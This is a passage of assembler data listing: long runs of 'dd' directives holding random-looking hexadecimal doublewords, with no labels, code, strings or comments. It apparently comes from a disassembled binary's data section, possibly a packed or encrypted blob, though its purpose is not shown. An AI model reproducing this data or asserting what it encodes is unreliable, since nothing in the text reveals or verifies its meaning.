0D3E02559h, 0E463B420h dd 34390006h, 0EB6E95F0h, 0D605B78Eh, 76E9864Eh, 358A70DCh dd 610D62h, 354DD58Ch, 0F95D7236h, 39DC543Ch, 7C20AF4Ah dd 25622A53h, 3C984484h, 0D200DBA2h, 4874A622h, 801F83h dd 36F333FFh, 5EF59C0Fh, 24F8A113h, 0CF9FCC00h, 5865BBE6h dd 2C285CFFh, 0FC110080h, 2342E07h, 19B8242Bh, 8004393Eh dd 4E19EC62h, 0B8D46E11h, 76774Eh, 0BAC5929Eh, 0C1F407EFh dd 0D92B8E02h, 0EC5D0179h, 0B15C0AECh, 8E980D91h, 89805704h dd 0C8512DF9h, 4A35541Fh, 586AE024h, 3B0AE720h, 84F8182Eh dd 4A5A9160h, 12C6FEBAh, 13A13AD7h, 25E84770h, 0C92E001Ah dd 5B000994h, 0B36EA3D3h, 2824E192h, 8EF88656h, 235909F4h dd 208346FAh, 0E7B09D71h, 792E311Fh, 0A8005BF1h, 18556750h dd 44C0BCDh, 0D8181737h, 0A1009938h, 0DE7EAA11h, 392FCBBEh dd 0EC815DC3h, 4F38B5EBh, 0F8E2DA9Bh, 57AC98E5h, 9CD76D02h dd 6088421Bh, 30D55B06h, 6CA83951h, 0C8091005h, 3608E3h dd 77F05CC4h, 0E0EA1747h, 24D02D41h, 520BA178h, 98F47B1Dh dd 0E9298DCh, 938981FFh, 46F71180h, 0A3094F2Dh, 0E98D6Ah dd 4A36AAA0h, 0AEB20053h, 38B8B03Ch, 2B2686C4h, 28A8B8C8h dd 0BCE9CD07h, 6F20C9E8h, 181346CBh, 88A9A37Ah, 1E412080h dd 0F2ADD4h, 8965FE58h, 4BF92A62h, 9E40909Ch, 215C2AEh dd 0BFFC9099h, 0D82CA7A8h, 0C6BC156Ch, 1702987Fh, 18CB1969h dd 0E931F461h, 4A00368Dh, 17F1C2Ch, 0D5C15CF6h, 201141F2h dd 6F00927Ch, 0A845ACBCh, 12743194h, 2C3B495Fh, 0D270B1B0h dd 5812114Ah, 0FB7F1470h dd 92FF0DBh, 0EEF0B8B4h, 0A0598784h, 67FA0CE4h, 0E54EB894h dd 0A024C14Dh, 0DD075470h, 272D075Bh, 5071FA32h, 86B17806h dd 8133C827h, 3EBBD90h, 414B1828h, 9D6CBC0h, 8F0C2133h dd 9F3A29h, 3CB5C906h, 3E7E55h, 2DC25FADh, 82774DEFh, 80AF1D38h dd 54B59CF8h, 2CE71A5Ah, 833C0252h, 0B216E55Ch, 28F8A105h dd 8053A7F6h, 63C39803h, 82CC899Ch, 298052EDh, 928ECB43h dd 2FE2FC77h, 5DE4A951h, 430C5550h, 0B75CFC50h, 4FE3ACEBh dd 46F9C5D8h, 0D1361B01h, 0A24A9997h, 90D4CADEh, 12D9C84h dd 9E498E08h, 0F49FA7FDh, 6907D21Fh, 1019A00Ah, 98188CC0h dd 53C60EA1h, 0BECE7CD5h, 0A052DD21h, 5CE6E05Ah, 64810894h dd 0D4849135h, 125434h, 0CD45C3A5h, 0BD65370Ch, 0FBBC8A13h dd 7D797043h, 7862A29Eh, 0ED5E0098h, 0DD0FF5A2h, 0BA127808h dd 1827B67Dh, 0B024E899h, 0D7F3000Eh, 81AB727Bh, 4F007D62h dd 0EAB53D91h, 771528C0h, 9AC602DBh, 9BDC3359h, 45AB5860h dd 90E74E2Ah, 9E00B48h, 0A033F9B0h, 64AD53F8h, 0DC5D6Fh dd 43F8BE80h, 664C1EC4h, 9C98092Ch, 791048FCh, 3BBA12A6h dd 6CC00FEAh, 0A4B5BE47h, 5CBC909Bh, 0E000697Ch, 0F090E962h dd 288326B6h, 0A08C60h, 9C893957h, 145F1D6Bh, 79256D09h dd 7C46CCh, 0F49A7407h, 1CADA623h, 140974Dh, 1D3403BFh dd 0A0E4D5C0h, 66FD2C60h, 76803F00h, 8BEBB1AAh, 0C3009E8Ah dd 5CC9F7AFh, 3448FFh, 735117ECh, 4270639Ch, 0A0252005h dd 80EE71EFh, 7F91F84Fh, 52F0AD01h, 38E17C30h, 2D4A1E4h dd 3B09ED26h, 24D37F92h, 80B90580h, 14347EBBh, 0A406858Dh dd 96734206h, 0F300508Fh, 309DFD55h, 92BAE8F2h, 0E877F674h dd 9F034815h, 8B01503Dh, 7ACFE29Bh, 405028F0h, 8F007D84h dd 75D5EB18h, 0E05B6D1Dh, 9B961CBDh, 2EF60A90h, 9A512BEh dd 58E439E8h, 1CBD3815h, 5A7F01D8h, 0E7A2A7CDh, 0A0601C6Dh dd 0B93CDECBh, 4F15701h, 0F36E7840h, 65C27C3Ch, 9C40C82Ch dd 400F910h, 67D88884h, 16DCB0A0h, 407C5D46h, 9F58FF0h dd 8CB1ED1Dh, 8A079141h, 0E40F0C29h, 0BE04CE6Eh, 55BF0186h dd 9880A9CFh, 8458CA44h, 4148AE34h, 0F2142E9Ch, 0B26B002Ch dd 9E4D2CCh, 5CE40C84h, 0F0903C89h, 0BD1877F7h, 0A069CCADh dd 441C1670h, 3040252Ch, 0CB77B488h, 1F254339h, 0BC4B1B6Eh dd 806F8EF0h, 603F59ECh, 529CB661h, 9C85E444h, 0E0E6018Fh dd 481D7DE9h, 84B611h, 8B5E43AAh, 70002A7Eh, 0A1870107h dd 48E8FFC8h, 3B8B9CA8h, 1D4054C8h, 80CC300h, 904A2D44h dd 22423823h, 75BA6D80h, 0F75DDC5Eh, 0D2CC6C00h, 0FAA85628h dd 0D17F00EDh, 356F15E7h, 84002154h, 77DE1A0Dh, 729B885h dd 0BBFA4EDFh, 9BA52162h, 276EF0EBh, 5E3D4470h, 34550142h dd 401CEDB4h, 0D704788Eh, 966C7743h, 0F57AF3C7h, 16280688h dd 7CA5430Ch, 258A68h, 0AFF3C8D7h, 0F4B13F09h, 5EA09C1Eh dd 0C85584Eh, 0C9098D2h, 0FB8C5AADh, 8400C1A9h, 0BFB66061h dd 7BC416B0h, 4CE001FEh, 8364A5D8h, 3F6CC884h, 6AA2990Fh dd 74FAE0BDh, 1C377DF0h, 0C10FF75Eh, 0FB2F27FEh, 0E83A609Bh dd 8BB3E500h, 0B1EE91C1h, 2D0E00C9h, 9048DDA3h, 8E05C231h dd 9A6422D6h, 90002784h, 4986161Bh, 31060090h, 223373EBh dd 0A2E297CCh, 0EC080B01h, 85701399h, 0C7214849h, 18FA5DCCh dd 1948E7A1h, 8FEEFE9Eh, 0D3376600h, 44DB053Ah, 641100FCh dd 0AE2A1C6Ch, 900589Bh, 0C3B47369h, 705D2908h, 0B9A50013h dd 6B47DA46h, 0B0031ADh, 0D281371Fh, 0C8123Dh, 0C7F661B5h dd 252B8DAFh, 98CB2230h, 0C2B0B2DCh, 33F4A360h, 741DEC87h dd 0BA80C01Eh, 43E6AEBDh, 12F9913Ch, 2C4C6415h, 1076004h dd 49C10B56h, 0D4EFF8D7h, 0D90013E4h, 193C85E9h, 0EBDFAF1h dd 0F255AE8Dh, 46E7EA0h, 0D051AD88h, 6483F8E4h, 0F4E53E00h dd 5C21FB25h, 500B00E2h, 0C8CBA298h, 3904A6ACh, 0EC764DAh dd 4E5C0C80h, 0CF180008h, 82C2FB24h, 0E2EC6E2Bh, 1D0ED0C0h dd 676C63DBh, 5334D9E4h, 0B9000C1Ah, 6F3F06FCh, 0C3A6EEFEh dd 9F675950h, 0B6C0AFAAh, 42497BB4h, 47506650h, 0C05A05B8h dd 3CA894h, 0B7573ED4h, 11C9B02Dh, 383C2C37h, 874A2A5Bh dd 1D0C3B70h, 3A003FEh, 2CFE06E8h, 40D8800h, 69DFAFE5h dd 9B31483Ah, 0C1804238h, 2C138F8Dh, 0C0EA6467h, 0CF128EF2h dd 0E020B8B3h, 24A4E3A8h, 811C3BF0h, 0B669FD9Bh, 9EAAD8D4h dd 0AC568712h, 0D21BEC04h, 1F662100h, 33E82C14h, 73068D00h dd 460E1EE0h, 60909Bh, 8A1C4425h, 86E6BEC9h, 14559724h dd 888CA781h, 0B8853FC5h, 9D7C0A3h, 0B4018DAEh, 8F2D043Eh dd 320C8B29h, 1B358101h, 0D020959Ah, 0A54E2AB1h, 0B8FB0088h dd 17613912h, 231303F7h, 0F1090F56h, 75C000BBh, 0A0B20115h dd 0C2F9DCh, 3F39C1DFh, 6BFACEABh, 0F708BD00h, 4D45D1CBh dd 0D75B00C7h, 0AD3CCA13h, 0C1B58875h, 67703505h, 0F37900B2h dd 9F83108h, 1F0E1DA7h, 922F9AEDh, 0C022244Fh, 0E9048088h dd 2A5FE63Fh, 0D0949Bh, 2BA8B086h, 8B43C30h, 0FDFF4CA8h dd 383F4102h, 487365FCh, 64F342Ch, 93475766h, 99C0D0E3h dd 0C1B76253h, 7C30FB4Ch, 5E3D0360h, 0B176C0FAh, 235D5001h dd 0A174364Eh, 0B2BFC77Fh, 0D8694788h, 0AF9EDCA6h, 2D653400h dd 0CED5D9B4h, 7EE5005Fh, 6484C560h, 8C9AF992h, 1E7FA776h dd 0C4297B00h, 0CE1F3019h, 0C02D3A91h, 8EBE5380h, 0A7E83BC1h dd 771C709Ah, 0DEEDD9FCh, 4E3707F8h, 559F53D7h, 0E646C2F8h dd 48E2FD03h, 8869C5F6h, 2AEF0Fh, 5E099DDBh, 0CDD437E4h dd 0DA0A74E4h, 308BB689h, 93045828h, 26F8EE0h, 8B9A4490h dd 9C854948h, 0EEB35202h, 384460DAh, 0AA212200h, 0B26C507Bh dd 48DE773Dh, 7600ACEEh, 0A803311Fh, 9B58686Ah, 4E6D138Ah dd 0AA2D2809h, 2E87C000h, 40807317h, 0E76A9827h, 0A85C2DECh dd 2AF906D4h, 1D980DE6h, 898E5F70h, 0C402EC93h, 0D08061CDh dd 0C0F2BDF7h, 0FA1E2BE0h, 0E64C9670h, 3813E0AAh, 745939D8h dd 7B02583Bh, 0AA6348EBh, 0C29F440h, 5E1B4300h, 0D6DBDE6Ah dd 2A082654h, 0C0F930EAh, 4C004060h, 6C34CEBCh, 0E992F2D9h dd 40321C25h, 345A85Eh, 80ED2510h, 0D27C023h, 13B8C0C4h dd 78BB8B60h, 0F4D45654h, 619C9030h, 591D5B3Ah, 801CC87h dd 36685ADAh, 0CAC1800Eh, 0CE953D51h, 1EA1FA1h, 5618FDD5h dd 532841B2h, 9A52B926h, 200A2F09h, 8816FA7Ch, 0F098C7h dd 5B577242h, 657060E2h, 390CA609h, 4A7C10E4h, 0C3740438h dd 0D0F3A558h, 83CC4FC4h, 0DDE6E10Bh, 86440161h, 0D080E220h dd 0BCEF46D8h, 0AC906E81h, 67DB3603h, 930B03E5h, 0E9403BA3h dd 1C651B8Ch, 0C1FFC11h, 1C26F8DAh, 29244A28h, 67008E2Bh dd 0E3E74F3Ah, 1624B0FEh, 0F5E15F8h, 0DC602D20h, 0FAA60565h dd 0D0BA48h, 0F394D196h, 4BFDB10h, 484C69AEh, 0E378D084h dd 24051781h, 5CBC0847h, 7C0E6090h, 0DE7015C8h, 0D703DC91h dd 0D0F07568h, 0F224D100h, 697C781Bh, 171C152Bh, 2444C8E0h dd 1A71002Dh, 2A8610CEh, 0B60096F8h, 38DB14D6h, 190CC8Dh dd 2F7022C2h, 24BA0F10h, 120940A8h, 30A1E3B0h, 13E83D18h dd 585C9B53h, 29C86834h, 6543049h, 79C5FB68h, 0F75F0278h dd 263E564Fh, 3F71E760h, 44BC5D01h, 9498E87Fh, 0C2C70h dd 581C6F67h dd 0BC107271h, 178C8B01h, 46DBED3Ch, 60C897h, 1CA9F805h dd 717EE2C7h, 0DAB82615h, 97C20084h, 2F816044h, 458B0177h dd 0EF285708h, 0EB3AF824h, 0FC4A856h, 0C425C880h, 0B48AC70Dh dd 9D8BEB01h, 35051B34h, 4C408134h, 7262FB3Dh, 1129F024h dd 63FB050h, 1727A15Dh, 0BABE0030h, 8F208E46h, 517967Ch dd 4208085h, 0B85171F0h, 7D8890ACh, 3A930044h, 9E505520h dd 4B07DC6Fh, 6AD1B643h, 0F0C2A825h, 5AD06059h, 0AE823E37h dd 0E60516h, 788B0E0Ch, 0C701FD21h, 0CBEA4DB1h, 0F870687Dh dd 8D5800B3h, 80064A4Ch, 4E0CD48Fh, 0C10B1A66h, 16C611F7h dd 1023017Dh, 276B2ABBh, 98F18074h, 0F62C0076h, 78BA683Ch dd 180CEBB1h, 0E879D2F7h, 5D040632h, 31B3E40Bh, 0C2D85063h dd 0ED4EB890h, 36A10455h, 90492521h, 22374468h, 0DFCB712h dd 14C1E423h, 3CC9B230h, 0CCF05026h, 0CC721118h, 0E5DEB100h dd 845D1EF3h, 461D056Eh, 16ED5202h, 0D2D8071Ch, 8233F325h dd 0CABAA5C8h, 86ABD000h, 0D1C00922h, 0B12B00A2h, 2E12C51Dh dd 0A00E65AAh, 77334B07h, 0B8167449h, 51E5BD4h, 45071759h dd 0D867C405h, 0C138F9D4h, 0F3968146h, 0BAFC6F70h, 7D617C30h dd 0F9EE1FA0h, 0D58B9FD4h, 0B874E44Bh, 0A37E58h, 0C6AEF56Fh dd 0C03447F7h, 0D73D9A1Fh, 0C25780BBh, 8CB77D96h, 9C8700BCh dd 20C9A4A7h, 0D012E524h, 8C00F80Bh, 71E9D94Dh, 0C527006Ch dd 3A8F2D10h, 0EA005B90h, 0EEFD8CA0h, 0A867Ah, 0FC10E2A9h dd 7D4C6026h, 12009CFCh, 0F371B633h, 2A6653h, 0D8AD2051h dd 4F6485EDh, 80F4D33Eh, 4DD11745h, 123460BFh, 0F07CB1h dd 0DABB5A4Ch, 943D796Ch, 0FC151E0Ch, 9655D90Bh, 6E850064h dd 4BF9431Ah, 382582EBh, 448489E9h, 0F8F88388h, 9854EEh dd 0C2B9D678h, 0F1FE710Eh, 0D9142600h, 4EE89DE2h, 37A079Ah dd 0B59B2E01h, 0B5EC00DEh, 6EF235DAh, 270BEA05h, 0C88CA883h dd 94992E6Ah, 605D9700h, 416EB58Ch, 6254D7Ah, 15496E6h dd 0FF03491Ch, 488390C4h, 0DF60D064h, 0D11875C0h, 2EE90022h dd 47FDC081h, 9B2EC10Bh, 68294676h, 141DC041h, 0AF803C32h dd 0D67D54B9h, 0AA4E8918h, 0B2B8089h, 0C40A1C1Fh, 50139C20h dd 9F4C6A1Eh, 368200F8h, 7C7E111Fh, 0D4835CBBh, 81222FB0h dd 8574AF0Eh, 8259B886h, 4AADEA7Dh, 3FC20C0h, 0E894FBFDh dd 38B043E4h, 0C0942Ch, 0D111757Ah, 79255D8Ah, 4A9892C6h dd 60A4B20Ch, 18530324h, 0C1AC41D3h, 8C29682Bh, 54C1C4B9h dd 0C60620Eh, 2505001Ah, 0E57CF8E1h, 6C9087F4h, 81D1B439h dd 9626B557h, 0C8508486h, 0A7476035h, 0F2003E44h, 0E754ED6Fh dd 0D1079C5Dh, 10FD09CAh, 951D2AB0h, 7BE61281h, 0A69809C1h dd 4A00248Bh, 8C85328Dh, 0AA2C7C16h, 26ECAC50h, 66136865h dd 5400D8h, 0B074CDDCh, 3B43C8D4h, 0F64F9000h, 0E069E6B6h dd 0BF78BCh, 5FD7E2ACh, 0F77B1A8Bh, 0F0C075FEh, 8F1595EAh dd 9B7463h, 0EF6AB132h, 0C03BE59Dh, 7B1BD600h, 8F5C776Dh dd 7320B890h, 0B6270E4Bh, 0B58006E9h, 28CEBDC9h, 64986560h dd 0BA996741h, 12C27830h, 424FBCF0h, 455DC788h, 0A09DD860h dd 33524890h, 96DCh, 181B7D87h, 8CEF550Fh, 0E13E7440h dd 46EFAEDh, 1462AB3h, 50E48DB9h, 62D8FA28h, 3C222017h dd 2CC2D077h, 577C4801h, 4CD604EEh, 814B51BCh, 52A0840Ch dd 0E48E4FD8h, 80B4AF21h, 734187CFh, 4FE26D2h, 4CA46283h dd 0CDD102E7h, 0B2988DA0h, 84678860h, 7F1B8C00h, 7E4AD4B1h dd 8E6A04D9h, 808942BBh, 4C943137h, 5466AE03h, 0B7E799h dd 0EC34C638h, 0C5C45733h, 225CCB07h, 49604A5Ah, 367D190h dd 7AF10F55h, 5A014513h, 0B6F870CCh, 198080F5h, 32C24BA1h dd 0E900FF21h, 0D09F6EE0h, 2ADACEh, 58945E4Ah, 6D614FCh dd 5A7D500h, 75C0127Dh, 35930046h, 6111F7BEh, 2BEEA914h dd 0A545BB00h, 17826D91h, 1D676AFh, 56BE104Eh, 6ECBDDF1h dd 1E816A0h, 0F6C22F67h, 4602542Eh, 7A3F541Ch, 2A1193AEh dd 0B0A7E401h, 0B0BD2E96h, 9FCEBE00h, 77C1021Eh, 854667Eh dd 0D716FA4Ch, 0E400BE56h, 26E2FBD6h, 100D0075h, 9119B9B7h dd 89000273h, 8133F36Eh, 1580C1h, 0FBCE3664h, 0A38A110Ah dd 1C8864ABh, 47007F0Eh, 0D19FDBB8h, 0A36B7C5h, 0B61395C2h dd 8C0A14B0h, 2C9DDA0h, 0A80CC718h, 0AFCC18h, 3A407919h dd 9B0757B6h, 35A46E00h, 0E332E4D7h, 0DAB0C624h, 42002ACFh dd 869A1A7Dh, 89958Dh, 0A334073h, 194EB26Eh, 0F0D0D12Dh dd 8E9800DEh, 0BCC6702Eh, 86EECD82h, 1554EB00h, 769F1DBFh dd 0A9600055h, 83925D69h, 7C01DEB2h, 0C62630FBh, 2BD8E2DBh dd 95963A8Eh, 15E7777Ch, 0C82F9ACBh, 0E305B194h, 28F99D01h dd 0B60022B0h, 5E6E0A5h, 0B7683099h, 50004258h, 0DBB75C2h dd 490F5DFh, 0D8E5AE08h, 4114804Ah, 81009E25h, 0D66A1F9h dd 73FFC13Ah, 0A364385Fh, 0A79D3600h, 0AF99433Eh, 0F3E22602h dd 13537E21h, 57284805h, 0E2C1CBE8h, 51FC0A3Eh, 0FA422AC3h dd 60E924A8h, 56F0404Ch, 31384409h, 0EE2050Dh, 0B00573C6h dd 7040DFD4h, 87F567C9h, 0AD11937h, 0FC896910h, 0E61F8C60h dd 0F04C86B8h, 287FCDE4h, 28FC1477h, 0F90B024h, 8E3B8A0Dh dd 71454D00h, 490A34B3h, 0B4D57AD2h, 7525DA00h, 8CD4Ah dd 0F6173544h, 0BE19FCBh, 0C4209D24h, 0F2C82202h, 0A3B8B877h dd 8CAE002Ch, 0AADA40BBh, 0F0006998h, 570E0432h, 1F4F836Ch dd 4F2B6323h, 0BA0C764h, 0BE8F9684h, 0F3EE1A07h, 9341D8F9h dd 0E0CBB49Bh, 1D963068h, 0C056722Fh, 74C3D9A1h, 58002483h dd 52A75DD3h, 1435097Bh, 98875FE9h, 65474101h, 0FBB6B777h dd 2FD2C90Ah, 850AAC03h, 11090883h, 8F0899C3h, 0D371CB47h dd 0D080DF3Fh, 555A704Dh, 2CF2F6FBh, 2F909150h, 1BE3F700h dd 8ECB061Dh, 149866h, 1A9A1402h, 0A99F030h, 952FA00h dd 37BBC945h, 785A0E6Dh, 931F0Fh, 0C44B6AF7h, 30763B46h dd 8619F91Ch, 84CEC100h, 2B08739h, 0D47EA634h, 30661548h dd 1E099490h, 0A0DA3EACh, 662C8850h, 0BF2D03C3h, 5ADBEDDCh dd 0F7C841DDh, 80C01EE6h, 431234F0h, 37A7BDh, 13C9FBCFh dd 17B1CDBCh, 1693893h, 0AB9791Ch, 0C0C034h, 8F297F5Ah dd 0BFB02286h, 9F4C7554h, 0EF82390Eh, 35ABC367h, 210FB0FDh dd 0B2200326h, 0E2C26DD7h, 91F5E7B0h, 0C95430EBh, 4D399303h dd 9AEC6A24h, 544426h, 0BC74EDFAh, 3E23B203h, 0E84AACA0h dd 1382260Eh, 0C235E133h, 0BC7005A3h, 7E0101EAh, 4C0C6D25h dd 24C423B7h, 940320CDh, 0E334E435h, 22AFF847h, 57500EBAh dd 0E2C0C73Bh, 0C97ED393h, 9D1EEC00h, 0DF67855Ch, 0F09055F4h dd 92E612C0h, 2B8E3DDCh, 44276F0Ch, 98910351h, 360CE02Ah dd 31D50C8Bh, 6EF0A7h, 0B21742EFh, 282DBE2h, 0D4181C2Ah dd 5DD4FA0Eh, 6A6E4359h, 78700340h, 300D34BEh, 52F46909h dd 540420B1h, 9A840421h, 3FD802C0h, 0D5095810h, 0BBD0A043h dd 1F00153Eh, 70439351h, 7465575Fh, 70FA60B3h, 0A23C522Dh dd 0FCE1FD29h, 0CA40B080h, 3B6DCF96h, 0E8A6B6BAh, 409C6850h dd 0B9AE1D0Bh, 56F51B13h, 0CB09E81Eh, 0E60CA3E8h, 0CE4558Ch dd 7D3F424h, 1AE4F24Ah, 0DA293CCBh, 0E4CF00Bh, 1CC400C3h dd 63D1AEh, 1B0D9BDFh, 8B9F25B6h, 0B8CE9126h, 0D000E292h dd 0C6BB7D09h, 0C77F7Eh dd 0F8E1E9EBh, 6A9BF43h, 0D7B0787Bh, 6F14E700h, 1A38EC66h dd 48C801E1h, 0AD368DD9h, 0B1642420h, 0FA78F900h, 37382CC1h dd 519E0016h, 0A2EE71AEh, 0CF0595C4h, 0FE124FF1h, 561A05C1h dd 2003022h, 0F96E2307h, 0BF002B9Bh, 5C34750Bh, 33170Fh dd 3E7F095Eh, 48A10CBAh, 11FFB01Dh, 0B1933AC0h, 19F688h dd 36E86AC2h, 9A86358Dh, 15A813Ch, 0DDECAD50h, 8887DAACh dd 99361B57h, 605BBA81h, 591980A4h, 8B4B8A70h, 25B1C0E2h dd 0EB6319AEh, 0A4C7FE01h, 4E80EA4Dh, 0E7310C0h, 0E3312FE7h dd 0D9F740D9h, 45398BB1h, 0E677800Ch, 3B229D5Bh, 98834D73h dd 0AEDC9EA1h, 80BA713Dh, 0A014AAECh, 1B3B733h, 0A547EA07h dd 0C3CCE6FDh, 15A025DBh, 6400B181h, 0FFD38863h, 7F114C8h dd 0F0ADE23Ah, 9E9B20DCh, 33000CE3h, 2F97631Dh, 44308Ah dd 0F8ED9A47h, 0A5F1891Fh, 0FB1D78C0h, 242EE0F4h, 9A8F5Ah dd 336346FCh, 9016F2ECh, 0A700D77Eh, 6DB13547h, 0B08C0C6Ah dd 0BB41FB88h, 992E5B00h, 910269C5h, 8D81549h, 833E6CA8h dd 3A1CF980h, 4F88DED9h, 0BD2AA102h, 80DD33B4h, 2E03DA90h dd 0AC8C0042h, 951B5434h, 71EE7C6h, 14C0B468h, 6A5666D2h dd 0AED00125h, 19BBB36Dh, 543CCCC0h, 0E7CD5300h, 0DC5D1B58h dd 15A52CB5h, 94F001BEh, 0D4F9543Dh, 310E0106h, 408CF160h dd 2B12E5Dh, 5E1530E3h, 0F2CD3D70h, 0E1D75106h, 19201179h dd 9137AB60h, 7256EC5Fh, 0E8D93500h, 336CE439h, 18BB0A9Dh dd 1B511F0h, 4B2E137Dh, 5B14D0DEh, 0A0ECA900h, 8B9DC262h dd 91F46040h, 0E13668DAh, 9E744C00h, 0E39DBC3Fh, 927200F5h dd 1379A98Bh, 0C700357Eh, 0CDD6FF3Ch, 1129798h, 62FAF3F6h dd 8626759Ch, 5BBE0698h, 6F637BC1h, 0B806092h, 406BDE22h dd 0C9F2D700h, 247C1A84h, 0AB10DF41h, 0AC67804h, 5A58F460h dd 0CECDDCh, 546010BBh, 977822EEh, 0D938C101h, 48BA88C6h dd 0D3B72888h, 90551488h, 0B7B48479h, 48CFA744h, 0CA024288h dd 2804A025h, 1C48CB89h, 0AC250FB9h, 6ED960E3h, 8E1938h dd 0FC565F02h, 717D9CCDh, 0FB25900h, 215CEE2Fh, 36D00069h dd 0E182E26Fh, 37030E03h, 0BA463CBCh, 2E21CFFFh, 87E038A7h dd 7E167093h, 0D6B90009h, 0E64C62Ah, 0E9A0328Bh, 510038B3h dd 7DD85D9h, 3B6255h, 8E67A65h, 0E26EB2C8h, 0DA4FDE01h dd 8F80F3D4h, 622C60h, 5A1CC4E3h, 2031F5F0h, 0CD682200h dd 0A70B4946h, 0B7F67Ch, 841ADD38h, 244F1DC7h, 36F6C00h dd 74176E51h, 6661E22h, 0D86A8060h, 0EAA26D64h, 0BC803A00h dd 4A13FC96h, 959E0054h, 0DC1C26CBh, 33055CD7h, 4B5DB64Fh dd 0B6BF280h, 14927Ah, 0A5FEAD37h, 83735A5Fh, 7CF62100h dd 453D70C0h, 5A800A6h, 8558AA9Ah, 0FB78C4D4h, 60D260CFh dd 90130CDFh, 4B3F007Ch, 5B2EE2ADh, 87000665h, 0CB5D5446h dd 92DFBB3Eh, 853B0C24h, 1178D74Fh, 4C9C801h, 6E34E170h dd 0F7CDFCh, 8FCC2A37h, 3D7E433Fh, 0C4177872h, 0EF0D47h dd 8E763496h, 0E009027h, 0D830DFECh, 904B0h, 5955DAEh dd 0A5C203B5h, 0F05E610Fh, 1999600Eh, 743BB46h, 0A1242811h dd 0F153408Ah, 0D43C8489h, 6D6600CCh, 0B91A2A98h, 0CDE23C54h dd 0C6819F00h, 21552E92h, 8538B600h, 4BBAB8F5h, 9020F3A9h dd 0A0F60073h, 973F7A0Eh, 1202C7BBh, 15FFA767h, 869C80EEh dd 373DED1h, 0F16823EAh, 97B845C1h, 0CF00B769h, 858A2AAFh dd 338B589h, 0FB0F2D21h, 548882D8h, 860BB56h, 0A2327C68h dd 7826003Eh, 28671EA4h, 0E20066B3h, 0D5ACBAC3h, 3CE525Bh dd 4C06E486h, 0A1C86B92h, 0B93F5491h, 396E8FD1h, 0C66366F2h dd 0BF551F19h, 1356008Bh, 76BA364Bh, 66144A0Dh, 0BEF02096h dd 0F68504C3h, 80F9EA8Fh, 0B96ECE80h, 0A5E90400h, 2665EC34h dd 1829003Dh, 0E01C9E79h, 911DF390h, 0B3071EAAh, 3250DA27h dd 0C8A1FAFh, 5EE1C7D5h, 3400BB20h, 7189B6FDh, 2691C72h dd 108E04ADh, 0E07FC667h, 0FA2EB93h, 0FD3324F7h, 6CF29DA0h dd 34005D45h, 53E9E4Ch, 2F1853h, 0FD706D87h, 2D51FC1Ah dd 3866841Eh, 0E382BAC0h, 36ADBCFh, 0D3C36927h, 0AAD36CFEh dd 8BF645D8h, 14099D00h, 0B7D7AF39h, 166D0E21h, 95A6631Bh dd 411F1294h, 6F4071F8h, 9E30A69Fh, 0D87FE6h, 2C5A9827h dd 757DCB18h, 0C20CBE00h, 0B5D258D4h, 0FE027DDAh, 6CEF240Dh dd 0A59F0055h, 15795D91h, 6DE36504h, 1182557Fh, 68D4402Dh dd 809000E2h, 5C7E714Fh, 0F0C0E68Ch, 0C0F6C5B0h, 76040030h dd 55941DD0h, 0D2009B53h, 0FABCFE1h, 0F39221Ah, 6382B0F6h dd 0CFBEB7E7h, 7F1762A1h, 1A70208Dh, 0DF687D1Eh, 0A809DB90h dd 0CC00F5ACh, 953178E9h, 0A267552Ch, 0DC532D00h, 2425D2h dd 0C506FB5h, 0A105FDB9h, 0F2DE3100h, 0BBCB0871h, 553000A5h dd 1594BF46h, 0F5E8074Fh, 0D7FA0900h, 5027167Dh, 0E167009Eh dd 66FFC618h, 1F07A240h, 0C0F0AAE5h, 407499E2h, 3D0394h dd 8058F146h, 2E0699Bh, 86F27700h, 3193BBF3h, 0A29F004Bh dd 0F58B87AAh, 0C800CB52h, 0F2542383h, 208A1Bh, 0C30A50E3h dd 0AC5F7730h, 0EA763Eh, 2FBAB2F6h, 136AD386h, 1EDFB4Ah dd 0CAB55748h, 8F79F403h, 0A561D71Eh, 5CB70CC0h, 7DDDBCEEh dd 2FD10010h, 41BD4ACFh, 0FEC3049h, 42663B00h, 8F16EEA4h dd 972D07DCh, 5B6041A2h, 67E4200Fh, 925D40F4h, 89E4E0h dd 0BA2108ACh, 0DB500DEBh, 1AA5BD00h, 38E0BE1Ch, 0B090CDh dd 35E51641h, 30A23365h, 0BA47BC00h, 0CFA49AA8h, 225E006Ch dd 1B361373h, 0E6000FACh, 513D6DF6h, 24A5B095h, 1F507CD5h dd 4A94407Eh, 44BCF270h, 4E8BBB07h, 9A6038EEh, 3E7D053h dd 5825177Eh, 84F0D310h, 8F90F88Eh, 48000971h, 37BCE6C7h dd 0FD573Ah, 0A46ACB8Fh, 0BB7C469Bh, 0AA184900h, 0C2813540h dd 650700A6h, 90BA50BCh, 5A010999h, 547CB851h, 0E5D026D1h dd 80A70B5Ch, 3C00F0BEh, 2F0B6AA6h, 9EDD7200h, 0F38B5673h dd 0E107021Eh, 11B89082h, 0EF67C180h, 7A1C0FE6h, 4CC0D4ECh dd 0D6F9AE84h, 0BADA0557h, 80DE6D97h, 4BB1AF7Ch, 312D9E00h dd 8F0477B4h, 0FED901ECh, 4C7B160Dh, 0C90C60FDh, 0EB2AE600h dd 0BF02D66Ch, 0FC652C9Bh, 59E70008h, 0FF0D010Eh, 0DC02C1ECh dd 38889CB3h, 291DE0E0h, 6DC2076Ah, 0C09E53A6h, 0B6A73522h dd 1CA411C7h, 0EA2067E7h, 155B7h, 9DFE8E7Dh, 0B3BD3B77h dd 0BF7ED700h, 21C37228h, 0AB2A001Fh, 896A4DA2h, 5A008CC5h dd 28B1669Bh, 0EE8FA9h, 55933C9Ch, 0A6AF29DDh, 5DE2050Bh dd 8608000Dh, 16ABC9h, 543EBA4Fh, 0F7136B35h, 0A2816902h dd 40751A6Fh, 4F084Ch, 0D192FC6h, 0A3EB51B5h, 78008E77h dd 3CD33AFAh, 2A76B627h, 3EA0505Eh, 27B8F0Dh, 0E18A3202h dd 0D860AEECh, 0C83D3194h, 2CEACCD7h, 0FC00D63Fh, 3EA6E3C7h dd 0DA3050D2h, 94D9FF18h, 0A5C3830h, 0AFDA0AACh, 635F0390h dd 7A00332Ah, 4A8D447Ch, 3C78266h, 3521A860h, 38F9B10h dd 69F87B31h, 68071261h, 59DBB76Dh, 0E808CE00h, 299900CAh dd 2694CCE6h, 2A00D9E7h, 870FEB23h, 7B896970h, 0D47B009Dh dd 97D5BC42h, 0EB390EAEh, 80133D95h, 3B8FFBFh, 263C504Dh dd 16E7CF7Ah, 0E0F0006Eh, 9AF3A2C2h, 64A3852Eh, 2DABB301h dd 